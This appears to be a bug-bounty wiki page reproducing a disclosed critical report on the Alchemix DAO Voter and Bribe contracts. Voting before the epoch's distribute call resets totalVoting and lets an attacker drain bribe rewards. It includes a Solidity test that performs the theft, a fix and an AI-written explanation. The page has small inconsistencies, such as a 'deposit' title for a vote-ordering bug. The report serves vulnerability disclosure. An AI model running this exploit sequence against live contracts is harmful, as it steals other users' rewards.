Call the deposit function before the distribute
An attacker can call the vote function before the distribute function is called in a new epoch, causing the Bribe contract's totalVoting to be reset to zero. This allows the attacker to claim more rewards than they are owed, potentially stealing all funds in the Bribe contract.
Originally disclosed on Immunefi
- Disclosed after under an hour
30898 - [SC - Critical] Call the deposit function before the distribute...
Submitted on May 7th 2024 at 19:44:37 UTC by @cryptoticky for Boost | Alchemix
Report ID: #30898
Report type: Smart Contract
Report severity: Critical
Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol
Impacts:
- Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results
- Theft of unclaimed yield
Description
Brief/Intro
If an attacker makes a deposit before the Voter.distribute function is called in a new epoch, the Bribe.totalVoting becomes smaller than the actual sum of votes. This discrepancy provides the attacker with an opportunity to steal funds from the contract.
Vulnerability Details
- Keeper or anyone will call
Voter.distributefunction to initialize the protocol once a new epoch - But an attacker can call
Voter.votefunction before theVoter.distributefunction is called - If the
Voter.distributefunction is called after the attacker callsVoter.votefunction, that updatesBribe.totalVotingto0 - If there is no vote anymore in this epoch, the prevSupply will be 1 when the attacker claims the reward. It means that the attacker can adjust the amount of rewards you will receive. So that the attacker can steal all assets in the Bribe contract.
- If there are other votes after calling distribute function, the attacker can get more than the expected reward.
Impact Details
- As a result of the vote, it results in a different effect from the expected effect regardless of voting Power.
- An attacker can steal all the rewards in the Bribe contract.
Recommendation
It is recommended to confirm that the Voter.distribute function was called when users call Voter.vote function in the new epoch, and if it is false, it is recommended to call the distribute function first.
Proof of Concept
// SPDX-License-Identifier: GPL-3
pragma solidity ^0.8.15;
import "./BaseTest.sol";
contract BribePoC is BaseTest {
uint256 constant DURATION = 2 weeks;
uint256 constant SECONDS_PER_BLOCK = 12;
uint256 public epochTime;
uint256 public epochBlock;
function setUp() public {
setupContracts(block.timestamp);
epochTime = minter.activePeriod();
epochBlock = block.number;
}
function testBugDoSDeposit() public {
address bribeAddress = voter.bribes(address(sushiGauge));
address[] memory pools = new address[](1);
pools[0] = sushiPoolAddress;
uint256[] memory weights = new uint256[](1);
weights[0] = 10000;
// go epoch 1
uint256 period = minter.activePeriod();
hevm.warp(period + nextEpoch);
uint256 targetTokenId = createVeAlcx(admin, TOKEN_1, MAXTIME, false);
hevm.prank(admin);
voter.vote(targetTokenId, pools, weights, 0);
uint256 totalVoting0 = IBribe(bribeAddress).totalVoting();
assertGt(totalVoting0, 0, "totalVoting0 = 0");
voter.distribute();
uint256 totalVoting1 = IBribe(bribeAddress).totalVoting();
assertEq(totalVoting1, 0, "totalVoting1 != 0");
uint256 userTokenId = createVeAlcx(beef, TOKEN_1, MAXTIME, false);
hevm.prank(beef);
voter.vote(userTokenId, pools, weights, 0);
totalVoting1 = IBribe(bribeAddress).totalVoting();
assertEq(totalVoting1, totalVoting0, "totalVoting1 != totalVoting0");
createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);
// go epoch 2
period = minter.activePeriod();
hevm.warp(period + nextEpoch);
voter.distribute();
// in the second block of epoch 2
address[] memory bribes = new address[](1);
bribes[0] = address(bribeAddress);
address[][] memory tokens = new address[][](1);
tokens[0] = new address[](1);
tokens[0][0] = bal;
uint256 beforeBalOfAdmin = IERC20(bal).balanceOf(admin);
hevm.prank(admin);
voter.claimBribes(bribes, tokens, targetTokenId);
uint256 deltaBalOfAdmin = IERC20(bal).balanceOf(admin) - beforeBalOfAdmin;
// The success means the attacker stole all reward of epoch 1
// In the Bribe contract, rewards for other users who have not claimed for a long time, including rewards from new epoch, may remain.
// The attacker can steal all these funds.
assertEq(TOKEN_100K, deltaBalOfAdmin, "The attack is failed");
}
}
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the Voter.vote function does not check whether Voter.distribute has been called for the current epoch, allowing totalVoting to be reset to zero after votes are cast.
Impact
An attacker could steal all rewards in the Bribe contract and manipulate governance voting results to deviate from the intended outcome.
What the attacker needed
Attacker can call Voter.vote before Voter.distribute; Bribe contract holds rewards
The fix
The Voter.vote function should check that Voter.distribute has been called for the current epoch and call it first if not.
How it was found
- Advance to a new epoch.
- Call Voter.vote before Voter.distribute is called.
- Call Voter.distribute, which resets Bribe.totalVoting to zero.
- Add a bribe to the Bribe contract.
- Advance to the next epoch and call Voter.distribute again.
- Claim bribes to receive more than the expected reward.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In this system, users vote and earn rewards from a pool. The pool tracks total votes to share rewards fairly. The bug lets someone vote before the pool updates its totals, making the pool think there are fewer votes, so the attacker gets a bigger share of rewards and can take funds meant for others.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.